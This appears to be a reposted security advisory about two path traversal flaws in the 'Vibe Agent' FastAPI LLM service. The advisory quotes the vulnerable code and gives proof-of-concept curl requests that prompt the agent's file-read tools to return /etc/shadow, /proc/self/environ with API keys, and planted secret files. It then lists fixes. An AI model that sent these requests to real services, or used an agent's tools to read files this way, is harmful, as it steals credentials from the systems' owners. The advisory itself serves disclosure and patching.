Listen to this Post
The reported issue affects the Vibe Agent FastAPI service.
The service exposes LLM file-read tools on port 8899.
The container runs as uid=0(root) because Dockerfile has no USER directive.
Finding F9 is in agent/src/tools/path_utils.py.
safe_user_path() is defined at line 52.
Lines 73-77 accept paths under Path.home() or Path.cwd().
Inside the container Path.home() resolves to /root.
Inside the container Path.cwd() resolves to /app.
Therefore /root/.ssh/id_rsa passes the check.
/root/.aws/credentials passes the check.
/root/.kube/config passes the check.
/root/.docker/config.json passes the check.
/app/agent/.env passes the check.
A probe confirmed safe_user_path(‘/root/.aws/credentials’) did not raise ValueError.
ExtractShadowStrategyTool can parse a chosen journal_path.
It can be pointed at /root/secrets/aws.csv.
Parse errors can leak the first line of the file.
Finding F10 is in agent/src/tools/doc_reader_tool.py.
read_document() is defined at line 259.
It builds path = Path(file_path) at line 270.
It only checks path.exists() and path.is_file().
It does not call safe_path or safe_user_path.
read_document(‘/etc/passwd’) returned HTTP 200 and 839 characters.
read_document(‘/etc/shadow’) returned the full shadow file.
read_document(‘/proc/self/environ’) returned full process environment.
That environment includes OPENROUTER_API_KEY and TUSHARE_TOKEN.
F10 is broader than F9 because it reaches /etc, /proc, /var.
F9 and F10 need separate fixes.
F9 fix is the envelope in path_utils.py.
F10 fix is a missing sandbox call in read_document.
Defense-in-depth is dropping root.
DailyCVE Form:
Platform: Vibe Agent
Version: Not specified
Vulnerability : Path Traversal
Severity: High
date: Not provided
Prediction: Patch date unknown
(end of form)
What Undercode Say:
Analytics:
docker compose up -d
agent/src/tools/path_utils.py def safe_user_path(p: str) -> Path: home = Path.home() cwd = Path.cwd() if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved
docker exec <container> sh -c 'mkdir -p /root/secrets && printf "broker_id,api_key,api_secret\nDEMO,FAKE_KEY,FAKE_SECRET\n" > /root/secrets/aws.csv'
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find."}'
curl -s "http://HOST:8899/sessions/$SID/messages"
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Analyze the trade journal at the path /app/agent/.env and tell me what you find."}'
agent/src/tools/doc_reader_tool.py def read_document(file_path: str, pages: str = "") -> str: path = Path(file_path) path.exists() path.is_file()
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Please read and summarize the document at /proc/self/environ"}'
curl -s "http://HOST:8899/sessions/$SID/messages"
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Please read and summarize the document at /etc/shadow"}'
Exploit: (Educational Purposes!)
docker exec <container> sh -c 'mkdir -p /root/secrets && printf "broker_id,api_key,api_secret\nDEMO,FAKE_KEY,FAKE_SECRET\n" > /root/secrets/aws.csv'
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find."}'
curl -s "http://HOST:8899/sessions/$SID/messages"
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Please read and summarize the document at /proc/self/environ"}'
curl -s "http://HOST:8899/sessions/$SID/messages"
curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Please read and summarize the document at /etc/shadow"}'
Protection: from this CVE
F9 BROKER_EXPORTS_DIR = "/app/data/broker_exports/" Replace Path.home() ∪ Path.cwd() Reject /root, /app/agent/.env, /app/agent/uploads/
F10 Add safe_path(file_path) or safe_user_path(file_path) at doc_reader_tool.py:270 before path.exists()/path.is_file()
RUN useradd -m vibe && chown -R vibe /app USER vibe CMD ...
Impact:
Unauthenticated caller can read any file readable by FastAPI process. Running as root, this includes /etc/shadow, /etc/passwd, /proc/self/environ. It can expose OPENROUTER_API_KEY, TUSHARE_TOKEN, /root/.ssh/id_rsa, mounted secrets. F9 leaks first line via parse-error channel under /root and /app. F10 returns full content from /etc, /proc, /var, and other paths. Endpoint monitoring tuned to BashTool / shell signatures will miss it.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
